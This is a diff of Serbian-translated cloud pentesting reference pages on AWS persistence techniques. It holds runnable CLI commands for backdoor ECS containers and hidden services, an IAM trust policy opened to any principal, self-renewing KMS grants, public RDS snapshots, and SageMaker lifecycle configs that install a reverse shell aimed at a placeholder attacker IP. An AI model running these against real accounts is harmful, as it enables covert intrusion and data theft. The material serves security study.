-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Backdoor kontejner u postojećoj ECS definiciji zadatka
-
-> [!NOTE]
-> TODO: Test
-
-Napadač može dodati **neprimetan backdoor kontejner** u postojećoj ECS definiciji zadatka koji se pokreće zajedno sa legitimnim kontejnerima. Backdoor kontejner se može koristiti za persistenciju i izvođenje zlonamernih aktivnosti.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Nedokumentovana ECS Usluga
-
-> [!NOTE]
-> TODO: Test
-
-Napadač može kreirati **nedokumentovanu ECS uslugu** koja pokreće zlonamernu radnju. Postavljanjem željenog broja radnji na minimum i onemogućavanjem logovanja, postaje teže administratorima da primete zlonamernu uslugu.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md

@@ -0,0 +1,152 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Testirati
+
+An attacker can create a hidden periodic ECS task using Amazon EventBridge to **periodično zakazuje izvršavanje malicioznog taska**. Ovaj task može obavljati reconnaissance, exfiltrate data, ili održavati persistence u AWS nalogu.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container u postojećoj ECS task definition
+
+> [!NOTE]
+> TODO: Test
+
+Napadač može dodati **stealthy backdoor container** u postojeću ECS task definition koja radi pored legitimnih containers. Backdoor container može biti iskorišćen za persistence i izvođenje zlonamernih aktivnosti.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Nedokumentovan ECS servis
+
+> [!NOTE]
+> TODO: Testirati
+
+Napadač može kreirati **nedokumentovan ECS servis** koji pokreće maliciozan task. Podešavanjem željenog broja tasks na minimum i onemogućavanjem logovanja, teže je administratorima da primete maliciozni servis.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS persistencija putem Task Scale-In Protection (UpdateTaskProtection)
+
+Zloupotrebite ecs:UpdateTaskProtection da sprečite da service tasks budu zaustavljeni usled scale‑in events i rolling deployments. Kontinuiranim produžavanjem zaštite, napadač može održavati dugotrajan task aktivnim (za C2 ili prikupljanje podataka) čak i ako branitelji smanje desiredCount ili objave nove task revisions.
+
+Koraci za reprodukciju u us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Uticaj: Zaštićeni task ostaje RUNNING uprkos desiredCount=0 i blokira zamene tokom novih deployments, omogućavajući neprimetnu dugotrajnu perzistenciju unutar ECS service.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md

@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Izmenite Politiku Resursa / Sigurnosne Grupe
-
-Izmenom **politike resursa i/ili sigurnosnih grupa** možete pokušati da zadržite svoj pristup u fajl sistemu.
-
-### Kreirajte Pristupnu Tačku
-
-Možete **kreirati pristupnu tačku** (sa root pristupom do `/`) koja je dostupna iz servisa gde ste implementirali **drugog persistencu** da zadržite privilegovan pristup fajl sistemu.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Izmenite resource policy / security groups
+
+Izmenom **resource policy i/ili security groups** možete pokušati da persist your access u file system.
+
+### Kreirajte Access Point
+
+Možete **create an access point** (sa root pristupom na `/`) pristupačan sa servisa na kojem ste implementirali **other persistence**, kako biste zadržali privilegovani pristup file system.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md

@@ -1,35 +1,35 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Elastic Beanstalk Persistencija
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### Održavanje u Instanci
+### Persistencija u instanci
 
-Da bi se održala postojanost unutar AWS naloga, neki **mehanizam postojanosti može biti uveden unutar instance** (cron job, ssh ključ...) tako da napadač može da mu pristupi i ukrade IAM ulogu **akreditiva iz metadata servisa**.
+Da bi se održala persistencija unutar AWS naloga, neki **mehanizam za persistenciju može biti ubačen u instancu** (cron job, ssh key...) tako da napadač može pristupiti instanci i ukrasti IAM role **credentials from the metadata service**.
 
-### Backdoor u Verziji
+### Backdoor in Version
 
-Napadač bi mogao da ubaci backdoor u kod unutar S3 repozitorijuma tako da uvek izvršava svoj backdoor i očekivani kod.
+Napadač može ubaciti backdoor u kod unutar S3 repo tako da on uvek izvršava svoj backdoor i očekivani kod.
 
-### Nova verzija sa backdoor-om
+### New backdoored version
 
-Umesto da menja kod na aktuelnoj verziji, napadač bi mogao da implementira novu verziju aplikacije sa backdoor-om.
+Umesto menjanja koda u aktuelnoj verziji, napadač može deploy-ovati novu backdoored verziju aplikacije.
 
-### Zloupotreba Prilagođenih Resursnih Lifecycle Hooks
+### Abusing Custom Resource Lifecycle Hooks
 
 > [!NOTE]
 > TODO: Test
 
-Elastic Beanstalk pruža lifecycle hooks koji vam omogućavaju da pokrenete prilagođene skripte tokom postavljanja i gašenja instance. Napadač bi mogao da **konfiguriše lifecycle hook da periodično izvršava skriptu koja exfiltrira podatke ili održava pristup AWS nalogu**.
+Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Napadač može **konfigurisati lifecycle hook da periodično izvršava skriptu koja exfiltrates data ili održava pristup AWS nalogu**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md

@@ -1,47 +0,0 @@
-# AWS - IAM Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Za više informacija pristupite:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Uobičajena IAM Persistencija
-
-- Kreirajte korisnika
-- Dodajte kontrolisanog korisnika u privilegovanu grupu
-- Kreirajte pristupne ključeve (novog korisnika ili svih korisnika)
-- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (priložene politike ili inline politike)
-- Onemogućite MFA / Dodajte svoj MFA uređaj
-- Kreirajte situaciju sa lancem uloga (više o ovome u nastavku u STS persistenciji)
-
-### Politike poverenja za backdoor uloge
-
-Možete dodati backdoor u politiku poverenja kako biste mogli da je preuzmete za spoljašnji resurs koji kontrolišete (ili za sve):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Politika zadnjih vrata
-
-Dajte Administrator dozvole politici koja nije njena poslednja verzija (poslednja verzija treba da izgleda legitimno), a zatim dodelite tu verziju politike kontrolisanom korisniku/grupi.
-
-### Zadnja vrata / Kreiraj provajdera identiteta
-
-Ako nalog već veruje u zajedničkog provajdera identiteta (kao što je Github), uslovi poverenja mogu biti pojačani kako bi napadač mogao da ih zloupotrebi.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Uobičajene IAM Persistence
+
+- Kreirajte korisnika
+- Dodajte kontrolisanog korisnika u privilegovanu grupu
+- Kreirajte access keys (novog korisnika ili svih korisnika)
+- Dodelite dodatne dozvole kontrolisanim korisnicima/grupama (attached policies ili inline policies)
+- Onemogućite MFA / Dodajte sopstveni MFA uređaj
+- Napravite Role Chain Juggling situaciju (više o tome dole u STS persistence)
+
+### Backdoor Role Trust Policies
+
+Možete ubaciti backdoor u trust policy kako biste mogli da je assume-ujete za eksterni resurs koji kontrolišete (ili za sve):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy Version
+
+Dodelite administratorske dozvole policy-ju koja nije u svojoj poslednjoj verziji (poslednja verzija treba da izgleda legitimno), a zatim tu verziju policy-ja dodelite kontrolisanom korisniku/grupi.
+
+### Backdoor / Create Identity Provider
+
+Ako nalog već veruje u uobičajenog identity providera (na primer Github), uslovi trust-a mogu se pojačati tako da ih napadač može zloupotrebiti.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md

@@ -1,37 +0,0 @@
-# AWS - KMS Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Za više informacija proverite:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Dodeljivanje pristupa putem KMS politika
-
-Napadač može koristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključa korisniku pod njegovom kontrolom ili čak eksternom nalogu. Proverite [**KMS Privesc stranicu**](../aws-privilege-escalation/aws-kms-privesc.md) za više informacija.
-
-### Večna Dodela
-
-Dodele su još jedan način da se principalu daju neka ovlašćenja nad specifičnim ključem. Moguće je dodeliti dodelu koja omogućava korisniku da kreira dodele. Štaviše, korisnik može imati nekoliko dodela (čak i identičnih) nad istim ključem.
-
-Stoga, moguće je da korisnik ima 10 dodela sa svim ovlašćenjima. Napadač bi trebao stalno pratiti ovo. A ako u nekom trenutku 1 dodela bude uklonjena, treba generisati još 10.
-
-(Koristimo 10, a ne 2, da bismo mogli da detektujemo da je dodela uklonjena dok korisnik još uvek ima neku dodelu)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Grant može dati dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md

@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant pristupa putem KMS policies
+
+Napadač može iskoristiti dozvolu **`kms:PutKeyPolicy`** da **dodeli pristup** ključu korisniku pod svojom kontrolom ili čak eksternom nalogu. Pogledajte [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) za više informacija.
+
+### Eternal Grant
+
+Grants su drugi način da se određenom principalu dodele neke dozvole nad specifičnim ključem. Moguće je dodeliti grant koji omogućava korisniku da kreira grants. Štaviše, korisnik može imati više grants (čak identičnih) nad istim ključem.
+
+Stoga, moguće je da korisnik ima 10 grants sa svim dozvolama. Napadač bi to trebao stalno pratiti. Ako se u jednom trenutku jedan grant ukloni, treba odmah generisati još 10.
+
+(Koristimo 10, a ne 2, kako bismo mogli uočiti da je grant uklonjen dok korisnik još uvek ima neki grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Grant može da dodeli dozvole samo iz ovoga: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md

@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Preuzmite SSH ključeve instance i lozinke za DB
-
-Verovatno se neće menjati, tako da ih imati je dobra opcija za postojanost
-
-### Backdoor instance
-
-Napadač bi mogao dobiti pristup instancama i postaviti backdoor:
-
-- Koristeći tradicionalni **rootkit** na primer
-- Dodajući novi **javnu SSH ključ**
-- Izlaganje porta sa port knocking uz backdoor
-
-### DNS postojanost
-
-Ako su domeni konfigurisani:
-
-- Kreirajte poddomen koji usmerava na vašu IP adresu kako biste imali **preuzimanje poddomena**
-- Kreirajte **SPF** zapis koji vam omogućava da šaljete **emailove** sa domena
-- Konfigurišite **glavnu IP adresu domena na svoju** i izvršite **MitM** od vaše IP adrese do legitimnih
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md

@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Preuzmite Instance SSH keys & DB passwords
+
+Verovatno se neće menjati, pa je njihovo posedovanje dobra opcija za persistence
+
+### Backdoor Instances
+
+Napadač bi mogao dobiti pristup instancama i ubaciti backdoor:
+
+- Na primer, koristeći tradicionalni **rootkit**
+- Dodavanje novog **public SSH key**
+- Otvoriti port koristeći port knocking uz backdoor
+
+### DNS persistence
+
+Ako su domeni konfigurisani:
+
+- Kreirajte subdomen koji pokazuje na vašu IP adresu kako biste ostvarili **subdomain takeover**
+- Kreirajte **SPF** zapis koji vam omogućava da šaljete **emails** sa domena
+- Konfigurišite **main domain IP to your own one** i izvršite **MitM** sa vaše IP adrese prema legitimnim serverima
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md

@@ -1,27 +0,0 @@
-# AWS - RDS Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Omogućite javni pristup instanci: `rds:ModifyDBInstance`
-
-Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu da omogući javni pristup**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Kreirajte admin korisnika unutar DB
-
-Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika izmeni, on **ne gubi pristup** bazi podataka.
-
-### Učinite snimak javnim
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - RDS Perzistencija
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Omogućavanje javnog pristupa instanci: `rds:ModifyDBInstance`
+
+Napadač sa ovom dozvolom može **izmeniti postojeću RDS instancu kako bi omogućio javni pristup**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Kreirajte admin korisnika unutar DB
+
+Napadač može jednostavno **kreirati korisnika unutar DB**, tako da, čak i ako je lozinka master naloga promenjena, on **ne izgubi pristup** bazi podataka.
+
+### Učinite snapshot javnim
+```bash
+aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md

@@ -1,25 +0,0 @@
-# AWS - S3 Persistencija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Klijentska Enkripcija
-
-Kada je proces enkripcije završen, korisnik će koristiti KMS API da generiše novi ključ (`aws kms generate-data-key`) i on će **sacuvati generisani enkriptovani ključ unutar metapodataka** datoteke ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) tako da kada dođe do dekripcije, može ponovo da ga dekriptuje koristeći KMS:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje ga sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi.
-
-### Korišćenje S3 ACL-a
-
-Iako su obično ACL-ovi kanti onemogućeni, napadač sa dovoljno privilegija mogao bi da ih zloupotrebi (ako su omogućeni ili ako napadač može da ih omogući) da zadrži pristup S3 kanti.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md

@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Dakle, napadač može dobiti ovaj ključ iz metapodataka i dekriptovati ga pomoću KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju podataka. Na taj način napadač će posedovati ključ za enkripciju i, ako se taj ključ ponovo koristi za enkriptovanje drugih fajlova, moći će da ga iskoristi.
+
+### Using S3 ACLs
+
+Iako su obično ACL-ovi bucketa onemogućeni, napadač sa dovoljnim privilegijama može ih zloupotrebiti (ako su omogućeni ili ako napadač može da ih omogući) da bi zadržao pristup S3 bucketu.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md

@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Pregled Tehnika Održavanja
-
-Ovaj deo opisuje metode za sticanje održavanja u SageMaker-u zloupotrebom Lifecycle Configurations (LCCs), uključujući reverzne shelle, cron poslove, krađu kredencijala putem IMDS-a i SSH backdoor-e. Ovi skripti se izvršavaju sa IAM ulogom instance i mogu da opstanu kroz restartovanje. Većina tehnika zahteva izlazni pristup mreži, ali korišćenje usluga na AWS kontrolnoj ravni može i dalje omogućiti uspeh ako je okruženje u 'VPC-only' režimu.
-#### Napomena: SageMaker notebook instance su u suštini upravljane EC2 instance konfigurirane posebno za radne opterećenja mašinskog učenja.
-
-## Potrebne Dozvole
-* Notebook Instances:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Studio Aplikacije:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Postavite konfiguraciju životnog ciklusa na Notebook instancama
-
-### Primer AWS CLI komandi:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Postavite konfiguraciju životnog ciklusa na SageMaker Studio
-
-Konfiguracije životnog ciklusa mogu se povezati na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio.
-
-### Nivo domena studija (svi korisnici)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Studio Space Level (Individual or Shared Spaces)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Tipovi konfiguracija životnog ciklusa Studio aplikacija
-
-Konfiguracije životnog ciklusa mogu se posebno primeniti na različite tipove SageMaker Studio aplikacija:
-* JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme postojanosti poput obrnute ljuske i cron poslova.
-* KernelGateway: Izvršava se tokom pokretanja aplikacije kernel gateway, korisno za inicijalnu postavku ili postojan pristup.
-* CodeEditor: Primjenjuje se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda.
-
-### Primer komande za svaki tip:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Kritične informacije:
-* Priključivanje LCC-ova na nivou domena ili prostora utiče na sve korisnike ili aplikacije unutar opsega.
-* Zahteva više dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace) što je obično izvodljivije na nivou prostora nego na nivou domena.
-* Kontrole na mrežnom nivou (npr., strogo filtriranje izlaza) mogu sprečiti uspešne obrnute ljuske ili eksfiltraciju podataka.
-
-## Obrnuta ljuska putem konfiguracije životnog ciklusa
-
-SageMaker konfiguracije životnog ciklusa (LCC) izvršavaju prilagođene skripte kada se instanca beležnice pokrene. Napadač sa dozvolama može uspostaviti trajnu obrnutu ljusku.
-
-### Primer tereta:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
